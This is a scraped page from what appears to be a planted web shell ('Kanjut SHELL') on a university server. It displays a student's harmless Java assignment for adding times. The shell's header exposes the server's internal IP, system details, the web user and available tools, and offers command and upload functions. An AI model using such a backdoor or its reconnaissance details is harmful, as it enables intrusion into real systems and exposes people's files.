Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.22.42.189
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/gcjohnson/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/gcjohnson/assignment8.java
// Assignment 8
// Name:	Glenn Johnson
// Class:	CS440
// Instructor:	Dr. Wang
// Purpose:	To read in numbers in HH:MM:SS format and figure out the time a process finishes

import java.util.Scanner;
import java.io.File;
import java.io.PrintWriter;

public class assignment8
{

	public static void main(String[] args) throws java.io.FileNotFoundException
	{
		if(args.length < 1)
		{
			System.out.println("Need Data");
		}
		else
		{
			Scanner input = new Scanner(new File(args[0]));
			PrintWriter output = new PrintWriter("assign8output.txt");
			String timerHoursString;
			String timerMinString;
			String timerSecString;
			String ProHoursString;
			String ProMinString;
			String ProSecString;

			int[] timerHours = new int[50];
			int[] timerMin = new int[50];
			int[] timerSec = new int[50];
		
			int[] ProHours = new int[50];
			int[] ProMin = new int[50];
			int[] ProSec = new int[50];

			int count = 0;

			while(input.hasNext())
			{
				String str = input.next();	// hh:mm:ss
				String[] parts = str.split(":", 3);
				// convert string to integer
				timerHours[count] = Integer.parseInt(parts[0]);
				timerMin[count] = Integer.parseInt(parts[1]);
				timerSec[count] = Integer.parseInt(parts[2]);	
				
				str = input.next();	// hh:mm:ss
				String[]part = str.split(":", 3);
				// convert string to integer
				ProHours[count] = Integer.parseInt(part[0]);
				ProMin[count] = Integer.parseInt(part[1]);
				ProSec[count] = Integer.parseInt(part[2]);

				count++;
			}
			input.close();

			for(int i = 0; i < count; i++)
			{
				timerSec[i] = timerSec[i] + ProSec[i];
				if(timerSec[i] > 59)
				{
					timerMin[i]++;
					timerSec[i] = timerSec[i] - 60;
				}
				timerMin[i] = timerMin[i] + ProMin[i];
				if(timerMin[i] > 59)
				{
					timerHours[i]++;
					timerMin[i] = timerMin[i] - 60;
				}
				timerHours[i] = timerHours[i] + ProHours[i];
				while(timerHours[i] > 23)
				{
					timerHours[i] = timerHours[i] - 24;
				}
				
				output.println(String.format("%02d", timerHours[i]) + ":" + String.format("%02d", timerMin[i]) + ":" + String.format("%02d", 
timerSec[i]));
			}
			output.close();
		}
	}
}

Stv3n404 - 2023